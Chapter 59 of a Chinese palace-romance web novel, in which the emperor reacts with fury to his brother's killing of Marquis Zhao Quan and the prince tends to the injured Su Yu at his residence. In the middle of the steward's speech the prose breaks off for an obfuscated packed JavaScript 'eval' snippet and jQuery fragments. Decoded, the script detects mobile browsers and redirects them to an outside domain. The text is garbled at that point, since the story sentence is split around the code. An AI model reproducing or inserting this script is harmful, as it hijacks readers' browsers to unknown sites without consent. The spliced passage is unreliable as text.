59. 震怒

作品:《夺她

    “结果如何?!”


    姜卫嘴唇翕动了半晌,才挤出一句破碎的话,“那两百兵马被殿下带去的人...全、全数歼灭,侯爷他、他被殿下当场…当场射杀了...”


    “什么?!”


    皇帝霍然从龙椅弹起,脸上血色顷刻间褪尽。他僵在原地,半晌后突然低低笑了起来,那笑容起初极轻,随即越来越响,带着股令人毛骨悚然的寒意,“好!好!真是朕的好弟弟!当朝一品大臣他说杀就杀!两百禁军他说灭就灭!他眼里还有没有王法?!还有没有朕这个皇帝?!”


    这一声怒吼震得姜卫双耳翁鸣,几乎要瘫软在地。


    电光石火间,祝承麟心神一凛,他死死盯着姜卫,“等等!王府依制不过三十六名府兵,他哪来的能耐能将两百禁军全数歼灭?!”


    姜卫闻言一僵,头颅深深垂下,几乎要埋进胸口。见他如此情状,祝承麟心中那股不详的预感陡然沉到谷底,当即厉声喝道:


    “说!”


    姜卫吓得魂飞魄散,几乎缩成一团,语不成调地答道,“陛下息怒!探子回报,那些人身手和行事作风不像是王府护卫,倒像是…训练有素的…私…私兵......”


    祝承麟身形猛地一晃。


    阿咎啊阿咎...朕原以为你不过是行事出格些罢了,今日才知朕是何等愚蠢!


    你竟暗中蓄养私兵!


    你究竟意欲何为?!


    莫非当真生了不臣之心?


    可你若真存了反意,为何又打草惊蛇、迫不及待地自曝其短?以你的心机,岂会犯下如此致命的疏漏?


    区区一个苏渔,就值得你不惜与赵荃彻底撕破脸,甚至赌上多年隐忍,提前发动?


    祝承麟一动不动,仿佛化作一尊石雕。


    赵荃死了...


    死得如此不体面...


    这老贼通敌卖国,纵是千刀万剐也不为过,但阿咎在这个节骨眼上动手只会节外生枝,误了大事!


    符家那条老狗向来唯赵荃马首是瞻,如今赵荃暴毙身亡,此时若走漏了风声,符家八万边军必生动荡!轻则军心涣散,重则酿成哗变!眼下燕朔与秦国大战当前,他还指望符统拿下秦国......


    不行!此时必须严密封锁消息,半个字也不能走漏!


    心念电转间,皇帝瞬间已有了决断,赵荃之死必须另寻一个滴水不漏的说法。


    大殿内落针可闻。


    良久后,皇帝身形晃了晃,终是支撑不住,颓然瘫倒在龙椅中。他唇角微微颤动了一下,声音干涩沙哑,“那苏家少爷...没事吧?”


    姜卫愣了一瞬,忙迭声回道:“没事,他并无大碍,已被殿下带回王府安置。”


    皇帝眼神骤然一厉,“传朕口谕,今夜之事严禁外传,若有只言片语泄露,在场所有人一律以谋逆论处,格杀勿论!你亲自去督办此事。”


    “嗻!奴才这就去办!”


    姜卫如蒙大赦,连滚带爬地退了出去。殿门合上,殿内重归静谧,祝承麟孑然一身坐在奢华空荡的龙椅上,烛火摇曳,将他的身影长长拖曳在地,拉出一道孤寂的影子。


    男人脸上的冰寒渐褪,随之浮现的是一片迷惘。所以皇弟口中那只猫儿便是“他”?“他”到底是谁?


    一个荒谬绝伦却让他心惊肉跳的念头再次不受控制地浮上心头——


    阿衣...会是你吗?


    *


    王府月色如水,夜风拂过回廊,摇曳着屋檐的疏影。


    祝无咎横抱着苏渔大步流星穿过王府,所过之处,侍从婢女无不垂首敛目,慌忙避至道旁,生怕惊扰了这位喜怒无常的主子。


    他径直踹开一间厢房,将人安置在软榻上,随即转身命令鬼一,“去宫里请御医...”


    “殿下!”


    苏渔急忙仰着脸眼巴巴地望着他,“只是磕碰淤青,些许小伤怎敢劳动御医圣手?听闻府上有位擅跌打损伤的女大夫,不如请她来看看?”


    祝无咎身形一顿,垂眸扫过她的脸,再对上那双水光潋滟、写满恳求的眸子,心头莫名一阵烦躁,“你这招蜂引蝶的习性还真是没变,伤成这样,还想着要招惹女人?”


    如此清奇的思路,倒是让苏渔愣了一瞬,她哭笑不得,手指却轻轻拽了拽男人的袖子,放软了声音,“殿下冤枉我了,我只是从未见过女大夫,有些好奇,而且女子手轻,我又怕痛......求求殿下了,您就让她来看看吧,好不好?”


    嗓音似含着蜜糖又软又糯,像羽毛搔过心尖。


    祝无咎自幼长在权势的高墙内,所见皆是旁人的恐惧与敬畏,从未有人敢如此拉扯他的衣袖,更不用说用这般柔柔的语调对着他撒娇恳求。


    一种奇异的感觉漫上心尖,似一道清冽的泉水,瞬间驱散了方才那点灼人的烦躁。他喉结滚动了一下,竟有些无法直视少年那过分晶亮的眼睛,硬邦邦地甩下一句,“……随你!”


    竟是真的同意了。


    苏渔暗自松了口气,却见男人耳廓竟悄悄泛起一层可疑的薄红。


    这厮…是害羞了?


    很快,鬼一领着位年约四十的女大夫进来,对方衣着素净,目光沉静,鬓角已染霜华,行礼时从容不迫,不卑不亢。她上前小心翼翼地将苏渔的裤腿卷至膝上,只见原本白皙的膝盖已肿得不成样子,一片触目惊心的青紫淤痕狰狞地盘踞在上。


    祝无咎目光骤然一紧,原以为她先前的呼痛多少有些夸大其词,没想到......


    女大夫手法娴熟轻柔,很快将伤口清理干净,覆上一层深褐的药膏,膝上传来草药的清香,疼痛也随之缓解了几分。待开好内服的方子,她躬身一礼,便悄然退下了。


    屋内药香未散,祝无咎站在榻边,面色依旧不豫,此时房外传来管家小心翼翼的通禀声,“殿下,门外有个小厮求见,说是…”


    祝无咎冷冷瞥向管家,“孤看起来像是很清闲?什么阿猫阿狗都要见?”


    管家瑟缩了一下,硬着头皮道:“老奴也是想打发了,可那小厮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408996|182975||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自称是苏公子的人…”他声音越说越低,透着几分惶恐。


    榻上苏渔闻言,这才想起京墨,没想到这傻小子竟真的找到王府来了,连忙拉着祝无咎的衣袍,“殿下,您让他进来回句话好不好?”


    祝无咎冷笑,这小子是尝到甜头,对这招上瘾了?


    他哼了一声,算是默许了。管家如蒙大赦,连忙退下,不多时便领着一个面色焦急的年轻小厮进来,那小厮一进门,目光立刻锁定榻上的苏渔,顿时激动地扑到前:“少爷!您真的在这儿!小的见您久久未归,怕您出意外,想起您的吩咐,就壮着胆子寻到王府来…您没事吧?”


    苏渔安抚地对京墨笑了笑,语气温和,“我没事,多亏了殿下相救,若非他,我恐怕是凶多吉少了。”


    这番掺了蜜的奉承,祝无咎何尝听不出来?可那吴侬软语在耳畔萦绕着,心底竟也生出几分格外的受用。男人紧绷的唇角不自觉牵起一丝弧度,“嘴这么甜,又憋着什么主意要求孤?”


    苏渔立刻摇头,眨着一双清澈的眼,模样乖巧无比,“殿下救了我,我感激还来不及,哪还敢再提什么非分的要求?只是…”


    她顿了顿,将声音放得愈发轻柔,“您看我这腿也处理好了,是不是...”


    “此事不必多言。”


    祝无咎瞬间收敛了那点浅淡的笑意,“给孤老老实实在府里待着!”说罢便径直离去了。


    这一幕看得京墨目瞪口呆,心头满是惊疑,少爷和这位殿下不是势同水火么?怎么如今看来倒全然不似针锋相对的样子?


    这溧阳王虽霸道,却似对少爷颇为纵容,甚至刚才那语气和眼神竟有种说不清道不明的占有欲...


    是他看花眼了么?


    *


    夜色微凉,烛火摇曳。


    祝无咎负手立于案前,“去查查那青衫男子,他出现得蹊跷,孤竟不知军中藏着如此高手。”


    身后垂手侍立的鬼一凛然应声,“属下即刻去查。”说罢悄声退下。


    室内重归寂静。


    祝无咎踱步至窗前,月光洒落,在他肩头镀上一层清冷的银辉,他脑中不禁浮现起先前在京郊宅院的情景,那人周身一股铁血肃杀之气,一招回马刀更是势大力沉,角度刁钻,那般狠准,刀锋未至,凌厉的劲风已扑面而来,其功力恐怕远超自己。


    可放眼整个西营,若真有这号人物,他怎会从未听闻?此人身份着实蹊跷。


    *


    因腿伤之故,苏渔已在房中静养了整整五日,轻易不得下地,即便偶尔活动也需倚着拐杖,行动甚是拘谨。自那日后,祝无咎几乎不见踪影,只每日遣人来问一句伤势。


    她困居在这宅院,虽方寸之地,却自有排遣,每日便是一方棋盘和寥寥几卷书卷,倒也偷得几分浮生清闲。


    这日,她将手边最后一册游记翻完,随手搁在案上,对伺候的两个小丫鬟温声道,“这些书我都看完了,烦请几位姐姐再替我寻些新的来。”


    两个丫鬟不由面面相觑。